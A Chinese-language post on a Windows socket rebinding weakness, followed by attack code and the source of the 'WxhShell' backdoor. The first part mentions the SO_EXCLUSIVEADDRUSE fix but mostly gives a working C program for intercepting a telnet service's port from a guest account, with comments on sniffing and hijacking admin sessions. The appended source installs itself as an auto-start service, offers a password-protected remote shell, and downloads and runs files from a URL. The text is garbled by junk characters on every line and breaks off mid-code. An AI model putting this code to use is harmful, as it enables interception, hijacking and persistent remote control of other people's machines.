在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
fITml6mbE s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
C"}x=cK !l~hO saddr.sin_family = AF_INET;
8Xr3q eh+ Dj|S saddr.sin_addr.s_addr = htonl(INADDR_ANY);
(R,eWWF8~ \yqiv"' bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
`'>>[*06:a #df43_u 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
/X?Nv^Hy Z`W.(gua 这意味着什么?意味着可以进行如下的攻击:
buoz La b7n~z1$ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
sk5\"jna JsC0^A;fM 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
*,. {Xf 4Vs;Y&t] 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
kahv1s- ?z6C8T~+ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
]8^2(^3ct XEuv
aM 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Vf@/}=X * 2#R"#Q! 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
FR <wp eZv0"FK
X 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
t!k 0n&P 9we=aX5 #include
rEViw?^KT #include
Mf
*qr9* #include
c]9OP9F #include
1v Thb DWORD WINAPI ClientThread(LPVOID lpParam);
&qr7yyY int main()
oH;Y} h {
#\jPBLc WORD wVersionRequested;
H0Tt(:.& DWORD ret;
T&c[m!}X|t WSADATA wsaData;
7+c@pEU] BOOL val;
r'8e"pTi SOCKADDR_IN saddr;
PyoLk SOCKADDR_IN scaddr;
4e:hKv,+4 int err;
qUo(hbp SOCKET s;
@f$P*_G SOCKET sc;
B4b UcYk int caddsize;
czp5MU_^ HANDLE mt;
QhZ%<zN DWORD tid;
q"Xls( wVersionRequested = MAKEWORD( 2, 2 );
CI,-qi err = WSAStartup( wVersionRequested, &wsaData );
V;z?m)ur if ( err != 0 ) {
QK72F printf("error!WSAStartup failed!\n");
E )PEKWK\ return -1;
%8ul}}d9 }
!xlVyt5e saddr.sin_family = AF_INET;
":Q70*xSm Y5;:jYk#<_ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
QW!'A`*x Y8d%L;b[D saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
{ sZrI5 saddr.sin_port = htons(23);
0e:aeLh if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
G0^PnE0- {
-,rl[1ZYZ printf("error!socket failed!\n");
PvM<#zq_ return -1;
l})uYae/ }
(d ( whlF val = TRUE;
Ft]sTA+C //SO_REUSEADDR选项就是可以实现端口重绑定的
t;*'p if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
T}zi P {
.OjJK? printf("error!setsockopt failed!\n");
w90y-^p% return -1;
9KP+ }
>1r>cZn //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
-AbA6_j //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$%jV%k //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
lmod8B J/mLB7^R if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
;[|x5o/< {
B}3s=+L@8 ret=GetLastError();
fpzTv3D=I printf("error!bind failed!\n");
Um|:AT}`^ return -1;
8g$ 8]'M^T }
\'p)kDf listen(s,2);
<}e<Zf! while(1)
OtC/)sX {
&r_:n t caddsize = sizeof(scaddr);
is6JS^Q //接受连接请求
ZJx:?*0a sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Q8P;AN_JS if(sc!=INVALID_SOCKET)
!?KY;3L: {
x|Q6[Y mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Y!SD^Ie7! if(mt==NULL)
Pukq{/27 {
c,+oH<bZZs printf("Thread Creat Failed!\n");
`T mIrc break;
wp@c;gK7 }
t!K|3>w }
tV<Au CloseHandle(mt);
t!PFosFp }
1e&`m~5K+ closesocket(s);
h[ tOY WSACleanup();
8`im4.~#% return 0;
No[>1]ds }
d+/d)cu DWORD WINAPI ClientThread(LPVOID lpParam)
amPQU {
upX/fLc SOCKET ss = (SOCKET)lpParam;
Sd{>(YWx~ SOCKET sc;
SQEXC*08 unsigned char buf[4096];
Q.5a"(d@ SOCKADDR_IN saddr;
ov|s5yH8e long num;
VJwzYl DWORD val;
`]fY9ZDKs DWORD ret;
R=E )j^<F //如果是隐藏端口应用的话,可以在此处加一些判断
~#gVs*K //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
r<"1$K~Ka saddr.sin_family = AF_INET;
DB?[h<^m saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ArF+9upGY saddr.sin_port = htons(23);
k6dSj>F> if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
}+u<^7$g| {
j|
257D printf("error!socket failed!\n");
{6~W2zX& return -1;
f}@]dF r }
d`2VbZC` val = 100;
=!p6}5Z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
YWm:#{n. {
Ble <n6 ret = GetLastError();
h883pe= return -1;
Qx
{/izc }
ptUnV3h if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
W/+|dN{O+g {
!QYqRH~5 ret = GetLastError();
N<?RN;M return -1;
51L:%Af }
br0gB3r if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{lqnn n3 {
\b'
<q printf("error!socket connect failed!\n");
bZ0r/f,n$ closesocket(sc);
c.NAUe_3 closesocket(ss);
'!Q[+@$ return -1;
5<&<61[A }
8pPAEf while(1)
qG~O]($ {
c1Dhx,]ad //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
1z*] MYU //如果是嗅探内容的话,可以再此处进行内容分析和记录
1z{AzpMZ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
)82x)c<e num = recv(ss,buf,4096,0);
n|{x\@VeF if(num>0)
|3vQmd !2} send(sc,buf,num,0);
* \f(E#wa else if(num==0)
;@Ls"+g break;
uI+h9j$vS num = recv(sc,buf,4096,0);
][D<J0 if(num>0)
ZJd1Lx send(ss,buf,num,0);
k~:B3p else if(num==0)
8_W<BXW break;
{L3lQ8Z }
jH\@Oc;7 closesocket(ss);
<Y9ps`{}: closesocket(sc);
wxF9lZz return 0 ;
x"*u98&3 }
z%]~^k8 ZSHc@r*> 17J|g.]m-& ==========================================================
o^gqpQv 1)M3*h3 下边附上一个代码,,WXhSHELL
L{osh0 sexnO^s ==========================================================
Av7bp[OD e>Is$+[`7 #include "stdafx.h"
}9{6{TD ,sXa{U #include <stdio.h>
<+C]^*j #include <string.h>
k4s >sd3 5 #include <windows.h>
NaLec|6<t #include <winsock2.h>
~^:/t<N #include <winsvc.h>
F@&q4whaVD #include <urlmon.h>
IL`5RZi1 >H[&Wa+_ #pragma comment (lib, "Ws2_32.lib")
u|B\@"0 #pragma comment (lib, "urlmon.lib")
\O`B@!da~ hE+6z%A8 #define MAX_USER 100 // 最大客户端连接数
%I[(`nb #define BUF_SOCK 200 // sock buffer
.-fJ\`^mi #define KEY_BUFF 255 // 输入 buffer
k$#
@_ #;>J<> #define REBOOT 0 // 重启
uB0/H=<H #define SHUTDOWN 1 // 关机
y~''r%] NSj}?hz #define DEF_PORT 5000 // 监听端口
g,mcxXO wbVM'E/& #define REG_LEN 16 // 注册表键长度
61b,+'- #define SVC_LEN 80 // NT服务名长度
MiAXbo#\ eRv3qK{` // 从dll定义API
1z0&+ C3z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
YtE V8w_$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
M'Q{2%:>a typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
7[^:[OEE typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
qFt%{~a
S }yC ve // wxhshell配置信息
6D@tCmmq struct WSCFG {
'd(OFE-hn int ws_port; // 监听端口
KhYGiVA char ws_passstr[REG_LEN]; // 口令
cBiv=!n int ws_autoins; // 安装标记, 1=yes 0=no
Ond"Eq=r char ws_regname[REG_LEN]; // 注册表键名
R2Lq,(@- char ws_svcname[REG_LEN]; // 服务名
9kWyO:a_( char ws_svcdisp[SVC_LEN]; // 服务显示名
,r+=>vre char ws_svcdesc[SVC_LEN]; // 服务描述信息
kjJ\7x6M char ws_passmsg[SVC_LEN]; // 密码输入提示信息
rN8 ZQiJC int ws_downexe; // 下载执行标记, 1=yes 0=no
'9]%#^[Q char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
wlmi&kq char ws_filenam[SVC_LEN]; // 下载后保存的文件名
4f'WF5S/}8 \^w=T* };
+7^{T:^ht .0r5= // default Wxhshell configuration
Y?R;Y:u3Z struct WSCFG wscfg={DEF_PORT,
p;U[cGHC "xuhuanlingzhe",
ycIT=AFYqd 1,
@| qnD "Wxhshell",
w[UPoG #Uh "Wxhshell",
coiTVDwA "WxhShell Service",
j"yL6Q9P "Wrsky Windows CmdShell Service",
Xo;J1H "Please Input Your Password: ",
[P`Q_L,+ 1,
#c./<<P5} "
http://www.wrsky.com/wxhshell.exe",
_T<ney}Y< "Wxhshell.exe"
>5i1M^g( };
WQ|d;[E lKxv
SyD // 消息定义模块
hnmFhJ !g char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Fu(e4E char *msg_ws_prompt="\n\r? for help\n\r#>";
&l-g3l[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
=
r_&R#~GT char *msg_ws_ext="\n\rExit.";
:~{XL >:S char *msg_ws_end="\n\rQuit.";
QaUh+k<6 char *msg_ws_boot="\n\rReboot...";
&B/cy<;y, char *msg_ws_poff="\n\rShutdown...";
*<OWd'LI char *msg_ws_down="\n\rSave to ";
w[n|Sauy, I7hPE7V+1 char *msg_ws_err="\n\rErr!";
gXE'3 char *msg_ws_ok="\n\rOK!";
>rB7ms/@E f8B*D4R} char ExeFile[MAX_PATH];
XK{`x< int nUser = 0;
[`yiD> HANDLE handles[MAX_USER];
vx5;}[Bhm int OsIsNt;
o>\j c Qf$0^$ " SERVICE_STATUS serviceStatus;
_bMD| SERVICE_STATUS_HANDLE hServiceStatusHandle;
7Z93`A-= 6 7~m9pk // 函数声明
[yf2_{*0T int Install(void);
0@.$(Aqo( int Uninstall(void);
ph<Z/wlz int DownloadFile(char *sURL, SOCKET wsh);
l)Q,*i int Boot(int flag);
bv)E>%Yy void HideProc(void);
p}}}~ lC/ int GetOsVer(void);
_+T;4U'p int Wxhshell(SOCKET wsl);
*;1 G+Q# void TalkWithClient(void *cs);
\# lh b int CmdShell(SOCKET sock);
hUxpz:U* int StartFromService(void);
cSnm \f int StartWxhshell(LPSTR lpCmdLine);
k9w<0h3 =uYSZR VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
6jO*rseC VOID WINAPI NTServiceHandler( DWORD fdwControl );
d&n0:xOc +[zrU`!@ // 数据结构和表定义
{Ejv8UdA9 SERVICE_TABLE_ENTRY DispatchTable[] =
Z8}Zhe. {
ACU0 {wscfg.ws_svcname, NTServiceMain},
`Btdp:j8i {NULL, NULL}
EN+WEMro };
;#G>q o rM2?" // 自我安装
Go^W\y
int Install(void)
!-|& {
d9R0P2 char svExeFile[MAX_PATH];
yaa+j8s] HKEY key;
=9LC"eI&| strcpy(svExeFile,ExeFile);
\V7Hi\) 3`5?Zgp // 如果是win9x系统,修改注册表设为自启动
3BKW if(!OsIsNt) {
Ad+-/hxc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
bsR^H5O@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
VVYQIR]!yk RegCloseKey(key);
@433?g`2b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
@j9yc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Z@RAdwjR`p RegCloseKey(key);
'lHtz~[ return 0;
svU107? }
+O*S>0 }
i5(_.1X<#{ }
t8U)za else {
TEE$1RxV( E"x 2 jP // 如果是NT以上系统,安装为系统服务
;TEZD70r SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
YEXJh!X if (schSCManager!=0)
9 /t}S6b{ {
66[yL(*+ SC_HANDLE schService = CreateService
H
\.EKZ (
0;!aO.l]K schSCManager,
tZk@ RX wscfg.ws_svcname,
(=)+as"u9* wscfg.ws_svcdisp,
>M[rOu
(d SERVICE_ALL_ACCESS,
U@BVVH?,o SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
IgLP=mqcWK SERVICE_AUTO_START,
gA`/t e SERVICE_ERROR_NORMAL,
?F(t`0= svExeFile,
MP w@O0QS NULL,
>Cb% `pe NULL,
8T&m{s NULL,
)fA9,yNJ3 NULL,
-+'{C= NULL
tqmM7$}}P );
s%H5Qa+Uh if (schService!=0)
*NFy%ktu {
vJtQ&,zG CloseServiceHandle(schService);
VEwv22' CloseServiceHandle(schSCManager);
x1|5q/I strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
oQjh?vm strcat(svExeFile,wscfg.ws_svcname);
v )%EG if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RVXRF_I RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
C3G?dZKv2 RegCloseKey(key);
8ftLYMX@ return 0;
rQ30)5^V| }
:*/<eT_ }
gG*O&gQY CloseServiceHandle(schSCManager);
p!hewtb5 }
1[} =,uaM }
nO\|43W DS=kSkW^&5 return 1;
~ Y4H)r }
h:a5FK@ 8p-5.GU)<e // 自我卸载
R+]Fh4t int Uninstall(void)
P-7!\[];te {
!CPv{c`|qg HKEY key;
v$+G_ @ p#^L
ZX if(!OsIsNt) {
qVZ=:D{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
wrK$ZO] RegDeleteValue(key,wscfg.ws_regname);
H1s{JJAM>i RegCloseKey(key);
)WwysGkqol if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
eq(|%]a= RegDeleteValue(key,wscfg.ws_regname);
|>j=#2 RegCloseKey(key);
4{}u PbS return 0;
NO`LSF }
tN3Xn] }
iBV*GW }
[9'5+RXw3 else {
Dr7,>Yx v;JY;Uh|
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
m-, ' if (schSCManager!=0)
Z!wDh_ {
##}a0\x| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
d0MX4bhZ if (schService!=0)
j9y,UT {
ugVsp&i# if(DeleteService(schService)!=0) {
w{I60|C]* CloseServiceHandle(schService);
Q]{DhDz?+ CloseServiceHandle(schSCManager);
7yeZ+lD return 0;
iMk`t:!;#" }
k8Qv>z CloseServiceHandle(schService);
v:JFUn} }
\@MGOaR] CloseServiceHandle(schSCManager);
T_5 E }
K 2LLuS! }
dWI/X 4w2V["?X1 return 1;
f>#\'+l' }
A5ktbj&gy< >+#TsX{ // 从指定url下载文件
N^%[
B9D int DownloadFile(char *sURL, SOCKET wsh)
b.8HGt<% {
hL67g HRESULT hr;
ZS^EKz~ + char seps[]= "/";
?uk|x!Ko] char *token;
b]hRmW char *file;
l*B;/
>nR char myURL[MAX_PATH];
'G@Npp)&^ char myFILE[MAX_PATH];
h,TDNR<1L |PI.xl:ch strcpy(myURL,sURL);
+:/`&LOS- token=strtok(myURL,seps);
'9{H(DA while(token!=NULL)
JeWW~y`e?{ {
d!Y,i!l! file=token;
C\$7C5/ token=strtok(NULL,seps);
IB(IiF5 }
AGLzA+6M NawnC!~ $ GetCurrentDirectory(MAX_PATH,myFILE);
dkG-Yz~ strcat(myFILE, "\\");
,i>5\Yl% strcat(myFILE, file);
8QFY:.h& send(wsh,myFILE,strlen(myFILE),0);
B7?784{x, send(wsh,"...",3,0);
V9B $_j4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
6l:CDPhR if(hr==S_OK)
\DeZY97p% return 0;
tnRq? else
P/M*XUG. return 1;
wQPjo!FEX [#lPT'l }
DFE?H @@SG0YxZ // 系统电源模块
A' dt
WD int Boot(int flag)
WdunI~&. {
rh$%*l HANDLE hToken;
dYfVox; TOKEN_PRIVILEGES tkp;
]7h&ZF An/)|B4 if(OsIsNt) {
ZLE4XB] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
s49AF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
w
y:USS? tkp.PrivilegeCount = 1;
pBK[j([ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
L_ 8C=MS AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
5#QB&A> if(flag==REBOOT) {
4V43(G if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
0BxO75m}o return 0;
0fi+tc30 }
!. q*bY else {
s7a\L=#p( if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
DX4
95<6* return 0;
=1` }
k9yA# }
O?8G else {
xV<NeU if(flag==REBOOT) {
:t\PYDp1 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
J]fjg%C2m return 0;
K<